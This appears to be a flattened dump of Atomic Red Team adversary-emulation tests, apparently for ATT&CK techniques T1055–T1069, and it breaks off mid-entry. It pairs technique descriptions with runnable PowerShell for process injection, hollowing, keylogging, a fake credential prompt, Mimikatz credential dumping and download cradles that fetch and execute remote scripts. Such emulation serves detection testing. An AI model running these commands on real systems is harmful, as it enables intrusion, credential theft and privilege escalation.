This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode. The RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms that relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary -- GetModuleInformation -- GetModuleHandleA -- RtlCopyMemory -- CreateThread. The injected shellcode will open a message box and a notepad. RWX Process Injection, also known as MockingJay, was introduced to the security community by SecurityJoes. More details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution. The original injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.
$address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value
& "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address
T1055
powershell
windows
Process Injection with Go using UuidFromStringA WinAPI
Process Injection
Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA. With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa) - References: - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ - https://twitter.com/_CPResearch_/status/1352310521752662018 - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala
$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug
T1055
powershell
windows
Process Injection with Go using EtwpCreateEtwThread WinAPI
Process Injection
Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process. This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. Steps taken with this technique 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Call EtwpCreateEtwThread on shellcode address 5. Call WaitForSingleObject so the program does not end before the shellcode is executed - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread) - References: - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3 - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm
$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug
T1055
powershell
windows
Remote Process Injection with Go using RtlCreateUserThread WinAPI
Process Injection
Executes shellcode in a remote process. Steps taken with this technique 1. Get a handle to the target process 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process 4. Change the memory page permissions to Execute/Read with VirtualProtectEx 5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread 6. Close the handle to the remote process - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread) - References: - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
T1055
powershell
windows
Remote Process Injection with Go using CreateRemoteThread WinAPI
Process Injection
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process. This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess(). Steps taken with this technique 1. Get a handle to the target process 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process 4. Change the memory page permissions to Execute/Read with VirtualProtectEx 5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread 6. Close the handle to the remote process - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread) - References: - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
T1055
powershell
windows
Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
Process Injection
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process. This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. 1. Get a handle to the target process 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process 4. Change the memory page permissions to Execute/Read with VirtualProtectEx 5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread 6. Close the handle to the remote process - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
T1055
powershell
windows
Process Injection with Go using CreateThread WinAPI
Process Injection
This program executes shellcode in the current process using the following steps 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Call CreateThread on shellcode address 5. Call WaitForSingleObject so the program does not end before the shellcode is executed This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)
$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug
T1055
powershell
windows
Process Injection with Go using CreateThread WinAPI (Natively)
Process Injection
This program executes shellcode in the current process using the following steps 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Call CreateThread on shellcode address 5. Call WaitForSingleObject so the program does not end before the shellcode is executed This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)
$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug
T1055
powershell
elevated
windows
UUID custom process Injection
Process Injection
The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, WriteProcessMemory and CreateThread The injected shellcode will open a message box and a notepad. Reference to NCC Group: https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ Concept from: http://ropgadget.com/posts/abusing_win_functions.html
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
T1055.001
powershell
elevated
windows
Process Injection via mavinject.exe
Dynamic-link Library Injection
Windows 10 Utility To Inject DLLS. Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll. With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.
$mypid = #{process_id}
mavinject $mypid /INJECTRUNNING "#{dll_payload}"
Stop-Process -processname notepad
T1055.001
powershell
windows
WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique
Dynamic-link Library Injection
Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')
T1055.002
powershell
elevated
windows
Portable Executable Injection
Portable Executable Injection
This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
T1055.003
powershell
windows
Thread Execution Hijacking
Thread Execution Hijacking
This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the "Atomic Red Team" caption after one or two seconds.
$notepad = Start-Process notepad -passthru
Start-Process "$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe"
Start-Sleep -Seconds 5
Stop-Process $notepad.id
T1055.004
powershell
windows
EarlyBird APC Queue Injection in Go
Asynchronous Procedure Call
Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode. ResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode. This technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe) - References: - https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/ - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}" -debug
T1055.004
powershell
windows
Remote Process Injection with Go using NtQueueApcThreadEx WinAPI
Asynchronous Procedure Call
Uses the undocumented NtQueueAPCThreadEx WinAPI to create a "Special User APC" in the current thread of the current process to execute shellcode. Since the shellcode is loaded and executed in the current process it is considered local shellcode execution. Steps taken with this technique 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Get a handle to the current thread 5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread) - References: - https://repnz.github.io/posts/apc/user-apc/ - https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html - https://0x00sec.org/t/process-injection-apc-injection/24608 - https://twitter.com/aionescu/status/992264290924032005 - http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505
$PathToAtomicsFolder\T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug
T1055.011
powershell
windows
Process Injection via Extra Window Memory (EWM) x64 executable
Extra Window Memory Injection
Hooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique
#{exe_binary}
T1055.012
powershell
windows
Process Hollowing using PowerShell
Process Hollowing
This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent. Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
. "#{script_path}"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
Process Hollowing
This module executes notepad.exe from within the WINWORD.EXE process
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"
T1055.012
powershell
windows
Process Hollowing in Go using CreateProcessW WinAPI
Process Hollowing
Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug
T1055.012
powershell
windows
Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)
Process Hollowing
Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process. This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe allows for the retrieval of output generated from executed shellcode. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug
T1055.015
powershell
elevated
windows
Process injection ListPlanting
ListPlanting
This test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds. Notepad will open following the appearance of the message box.
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
T1056.001
powershell
elevated
windows
Input Capture
Keylogging
Utilize PowerShell and external resource to capture keystrokes [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1) Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1) Upon successful execution, Powershell will execute Get-Keystrokes.ps1 and output to key.log.
&"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath}
T1056.002
powershell
windows
PowerShell - Prompt User for Password
GUI Input Capture
Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials. Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py
# Creates GUI to prompt for password. Expect long pause before prompt is available.
$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName)
# Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework.
write-warning $cred.GetNetworkCredential().Password
T1056.004
powershell
elevated
windows
Hook PowerShell TLS Encrypt/Decrypt Messages
Credential API Hooking
Hooks functions in PowerShell to read TLS Communications
mavinject $pid /INJECTRUNNING "#{file_name}"
Invoke-WebRequest #{server_name} -UseBasicParsing
T1057
powershell
windows
Process Discovery - Get-Process
Process Discovery
Utilize Get-Process PowerShell cmdlet to identify processes. Upon successful execution, powershell.exe will execute Get-Process to list processes. Output will be via stdout.
Get-Process
T1057
powershell
windows
Process Discovery - get-wmiObject
Process Discovery
Utilize get-wmiObject PowerShell cmdlet to identify processes. Upon successful execution, powershell.exe will execute get-wmiObject to list processes. Output will be via stdout.
get-wmiObject -class Win32_Process
T1057
powershell
elevated
windows
Process Discovery - Process Hacker
Process Discovery
Process Hacker can be exploited to infiltrate system processes, identify weak points, or achieve unauthorized control over systems. However, its malicious use can often be flagged by security defenses, rendering it a perilous tool for illegitimate purposes.
Start-Process -FilePath "$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}"
T1057
powershell
elevated
windows
Process Discovery - PC Hunter
Process Discovery
PC Hunter is a toolkit with access to hundreds of settings including kernels, kernel modules, processes, network, startup, and more. When abused, this tool can allow threat actors to effectively access sensitive processes, collect system information, and terminate security software.
Start-Process -FilePath "C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}"
T1059
powershell
windows
AutoIt Script Execution
Command and Scripting Interpreter
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1059.001
powershell
windows
Run BloodHound from local disk
PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001
powershell
windows
Run Bloodhound from Memory using Download Cradle
PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001
powershell
elevated
windows
Mimikatz - Cradlecraft PsSendKeys
PowerShell
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001
powershell
windows
PowerShell Fileless Script Execution
PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001
powershell
windows
NTFS Alternate Data Stream Access
PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001
powershell
elevated
windows
PowerShell Session Creation and Use
PowerShell
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001
powershell
windows
ATHPowerShellCommandLineParameter -Command parameter variations
PowerShell
Executes powershell.exe with variations of the -Command parameter
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001
powershell
windows
ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments
PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
powershell
windows
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001
powershell
windows
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
powershell
elevated
windows
PowerShell Invoke Known Malicious Cmdlets
PowerShell
Powershell execution of known Malicious PowerShell Cmdlets
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
T1059.001
powershell
windows
PowerUp Invoke-AllChecks
PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001
powershell
windows
Abuse Nslookup with DNS Records
PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001
powershell
windows
SOAPHound - Dump BloodHound Data
PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.001
powershell
windows
SOAPHound - Build Cache
PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.003
powershell
windows
Create and Execute Batch Script
Windows Command Shell
Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.
Start-Process "#{script_path}"
T1059.003
powershell
windows
Simulate BlackByte Ransomware Print Bombing
Windows Command Shell
This test attempts to open a file a specified number of times in Wordpad, then prints the contents. It is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. See https://redcanary.com/blog/blackbyte-ransomware/.
cmd /c "for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}" | out-null
T1059.005
powershell
windows
Visual Basic script execution to gather local computer information
Visual Basic
Visual Basic execution test, execute vbscript via PowerShell. When successful, system information will be written to $env:TEMP\T1059.005.out.txt.
cscript "#{vbscript}" > $env:TEMP\T1059.005.out.txt
T1059.005
powershell
windows
Encoded VBS code execution
Visual Basic
This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution a message box will pop up displaying "ART T1059.005" A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required. You can validate this by opening WinWord - File - Account - About Word
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec"
T1059.005
powershell
windows
Extract Memory via VBA
Visual Basic
This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059_005-macrocode.txt" -officeProduct "Word" -sub "Extract"
T1059.010
powershell
windows
AutoHotKey script execution
AutoHotKey & AutoIT
An adversary may attempt to execute malicious script using AutoHotKey software instead of regular terminal like powershell or cmd. A messagebox will be displayed and calculator will popup when the script is executed successfully
Start-Process -FilePath "#{autohotkey_path}" -ArgumentList "#{script_path}"
T1069.001
powershell
windows
Permission Groups Discovery PowerShell (Local)
Local Groups
Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
get-localgroup
Get-LocalGroupMember -Name "Administrators"
T1069.001
powershell
windows
SharpHound3 - LocalAdmin
Local Groups
This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)
New-Item -Path "#{output_path}" -ItemType Directory > $null
& "#{sharphound_path}" -d "#{domain}" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "#{output_path}"
T1069.001
powershell
windows
WMIObject Group Discovery
Local Groups
Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system.
Get-WMIObject Win32_Group
T1069.002
powershell
windows
Permission Groups Discovery PowerShell (Domain)
Domain Groups
Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
get-ADPrincipalGroupMembership #{user} | select name
T1069.002
powershell
windows
Find machines where user has local admin access (PowerView)
Domain Groups
Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
T1069.002
powershell
windows
Find local admins on all machines in domain (PowerView)
Domain Groups
Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose
T1069.002
powershell
windows
Find Local Admins via Group Policy (PowerView)
Domain Groups
takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose
T1069.002
powershell
windows
Enumerate Users Not Requiring Pre Auth (ASRepRoast)
Domain Groups
When successful, accounts that do not require kerberos pre-auth will be returned
get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}
T1069.002
powershell
windows
Enumerate Active Directory Groups with Get-AdGroup
Domain Groups
The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps
Get-AdGroup -Filter *
T1069.002
powershell
windows
Enumerate Active Directory Groups with ADSISearcher
Domain Groups
The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne()
T1069.002
powershell
windows
Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)
Domain Groups
When successful, accounts that do not require kerberos pre-auth will be returned. Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
T1069.002
powershell
windows
Get-DomainGroupMember with PowerView
Domain Groups
